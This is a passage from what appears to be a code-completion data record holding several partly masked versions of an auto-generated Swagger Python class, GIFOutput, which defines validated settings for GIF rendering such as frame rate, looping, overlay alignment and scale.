\"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-2": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n <mask token>\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-3": "<mask token>\n\n\nclass GIFOutput(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :param overlay_scale: The overlay_scale of this GIFOutput.\n :type: str\n \"\"\"\n allowed_values = ['fit', 'fill', 'none']\n if overlay_scale not in allowed_values:\n raise ValueError(\n 'Invalid value for `overlay_scale` ({0}), must be one of {1}'\n .format(overlay_scale, allowed_values))\n self._overlay_scale = overlay_scale\n\n @property\n def label(self):\n \"\"\"Gets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :return: The label of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._label\n\n @label.setter\n def label(self, label):\n \"\"\"Sets the label of this GIFOutput.\n\n This label is another way to identify this specific output. The label is returned in the response,\n but does not appear in the file name.\n\n :param label: The label of this GIFOutput.\n :type: str\n \"\"\"\n self._label = label\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(lambda x: x.to_dict() if hasattr(x,\n 'to_dict') else x, value))\n elif hasattr(value, 'to_dict'):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(lambda item: (item[0], item[1].\n to_dict()) if hasattr(item[1], 'to_dict') else item,\n value.items()))\n else:\n result[attr] = value\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, GIFOutput):\n return False\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "step-4": "<mask token>\n\n\nclass GIFOutput(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {'gif_fps': 'float', 'color_depth': 'float', 'gif_loop':\n 'int', 'height': 'float', 'start': 'float', 'duration': 'float',\n 'suffix': 'str', 'overlay': 'str', 'overlay_alignment': 'list[str]',\n 'overlay_scale': 'str', 'label': 'str'}\n attribute_map = {'gif_fps': 'gif_fps', 'color_depth': 'color_depth',\n 'gif_loop': 'gif_loop', 'height': 'height', 'start': 'start',\n 'duration': 'duration', 'suffix': 'suffix', 'overlay': 'overlay',\n 'overlay_alignment': 'overlay_alignment', 'overlay_scale':\n 'overlay_scale', 'label': 'label'}\n\n def __init__(self, gif_fps=None, color_depth=None, gif_loop=None,\n height=None, start=None, duration=None, suffix=None, overlay=None,\n overlay_alignment=None, overlay_scale='fit', label=None):\n \"\"\"GIFOutput - a model defined in Swagger\"\"\"\n self._gif_fps = None\n self._color_depth = None\n self._gif_loop = None\n self._height = None\n self._start = None\n self._duration = None\n self._suffix = None\n self._overlay = None\n self._overlay_alignment = None\n self._overlay_scale = None\n self._label = None\n self.discriminator = None\n if gif_fps is not None:\n self.gif_fps = gif_fps\n if color_depth is not None:\n self.color_depth = color_depth\n if gif_loop is not None:\n self.gif_loop = gif_loop\n self.height = height\n self.start = start\n if duration is not None:\n self.duration = duration\n if suffix is not None:\n self.suffix = suffix\n if overlay is not None:\n self.overlay = overlay\n if overlay_alignment is not None:\n self.overlay_alignment = overlay_alignment\n if overlay_scale is not None:\n self.overlay_scale = overlay_scale\n if label is not None:\n self.label = label\n\n @property\n def gif_fps(self):\n \"\"\"Gets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :return: The gif_fps of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._gif_fps\n\n @gif_fps.setter\n def gif_fps(self, gif_fps):\n \"\"\"Sets the gif_fps of this GIFOutput.\n\n The frame rate of the GIF. Default is the Video frame rate\n\n :param gif_fps: The gif_fps of this GIFOutput.\n :type: float\n \"\"\"\n if gif_fps is not None and gif_fps > 30:\n raise ValueError(\n 'Invalid value for `gif_fps`, must be a value less than or equal to `30`'\n )\n self._gif_fps = gif_fps\n\n @property\n def color_depth(self):\n \"\"\"Gets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :return: The color_depth of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._color_depth\n\n @color_depth.setter\n def color_depth(self, color_depth):\n \"\"\"Sets the color_depth of this GIFOutput.\n\n Amount of colors in palette\n\n :param color_depth: The color_depth of this GIFOutput.\n :type: float\n \"\"\"\n self._color_depth = color_depth\n\n @property\n def gif_loop(self):\n \"\"\"Gets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :return: The gif_loop of this GIFOutput.\n :rtype: int\n \"\"\"\n return self._gif_loop\n\n @gif_loop.setter\n def gif_loop(self, gif_loop):\n \"\"\"Sets the gif_loop of this GIFOutput.\n\n If to loop the GIF. -1 is no loop, 0 is infinite loops, and other numbers are number of loops.\n\n :param gif_loop: The gif_loop of this GIFOutput.\n :type: int\n \"\"\"\n if gif_loop is not None and gif_loop < -1:\n raise ValueError(\n 'Invalid value for `gif_loop`, must be a value greater than or equal to `-1`'\n )\n self._gif_loop = gif_loop\n\n @property\n def height(self):\n \"\"\"Gets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :return: The height of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._height\n\n @height.setter\n def height(self, height):\n \"\"\"Sets the height of this GIFOutput.\n\n Height of the media to be rendered, in pixels. Should be the height of your scenes unless a smaller\n resolution is needed. Resolution higher than the scene resolution reduces quality. The width is automatically\n calculated to keep the aspect ratio.\n\n :param height: The height of this GIFOutput.\n :type: float\n \"\"\"\n if height is None:\n raise ValueError('Invalid value for `height`, must not be `None`')\n self._height = height\n\n @property\n def start(self):\n \"\"\"Gets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :return: The start of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._start\n\n @start.setter\n def start(self, start):\n \"\"\"Sets the start of this GIFOutput.\n\n What second of the storyboard timeline to start the GIF.\n\n :param start: The start of this GIFOutput.\n :type: float\n \"\"\"\n if start is None:\n raise ValueError('Invalid value for `start`, must not be `None`')\n self._start = start\n\n @property\n def duration(self):\n \"\"\"Gets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :return: The duration of this GIFOutput.\n :rtype: float\n \"\"\"\n return self._duration\n\n @duration.setter\n def duration(self, duration):\n \"\"\"Sets the duration of this GIFOutput.\n\n Seconds for the duration of the GIF. Can't be longer than the video.\n\n :param duration: The duration of this GIFOutput.\n :type: float\n \"\"\"\n self._duration = duration\n\n @property\n def suffix(self):\n \"\"\"Gets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :return: The suffix of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._suffix\n\n @suffix.setter\n def suffix(self, suffix):\n \"\"\"Sets the suffix of this GIFOutput.\n\n Unique ending of the file name so several outputs can be created then identified. Required if there is more\n then 1 video output.\n\n :param suffix: The suffix of this GIFOutput.\n :type: str\n \"\"\"\n self._suffix = suffix\n\n @property\n def overlay(self):\n \"\"\"Gets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :return: The overlay of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay\n\n @overlay.setter\n def overlay(self, overlay):\n \"\"\"Sets the overlay of this GIFOutput.\n\n Path to overlay image, such as: play button or watermark.\n\n :param overlay: The overlay of this GIFOutput.\n :type: str\n \"\"\"\n self._overlay = overlay\n\n @property\n def overlay_alignment(self):\n \"\"\"Gets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :return: The overlay_alignment of this GIFOutput.\n :rtype: list[str]\n \"\"\"\n return self._overlay_alignment\n\n @overlay_alignment.setter\n def overlay_alignment(self, overlay_alignment):\n \"\"\"Sets the overlay_alignment of this GIFOutput.\n\n Alignment for overlay image in case the image doesn't fit the video perfectly. The first item in the array is\n X. The second is Y.\n\n :param overlay_alignment: The overlay_alignment of this GIFOutput.\n :type: list[str]\n \"\"\"\n allowed_values = ['left', 'center', 'right', 'top', 'middle', 'bottom']\n if not set(overlay_alignment).issubset(set(allowed_values)):\n raise ValueError(\n 'Invalid values for `overlay_alignment` [{0}], must be a subset of [{1}]'\n .format(', '.join(map(str, set(overlay_alignment) - set(\n allowed_values))), ', '.join(map(str, allowed_values))))\n self._overlay_alignment = overlay_alignment\n\n @property\n def overlay_scale(self):\n \"\"\"Gets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * Fit: scale the image up or down so it's\n completely visible in the video's resolution. If not the same aspect ratio, transparency is added around the\n image according to the alignment settings. * Fill: scale the image up or down so it completely fills the\n video. If not the same aspect ratio, the image is cropped according to the alignment settings. * None: don't\n resize the overlay image.\n\n :return: The overlay_scale of this GIFOutput.\n :rtype: str\n \"\"\"\n return self._overlay_scale\n\n @overlay_scale.setter\n def overlay_scale(self, overlay_scale):\n \"\"\"Sets the overlay_scale of this GIFOutput.\n\n Scale the overlay image if it's not the same size as the video. * 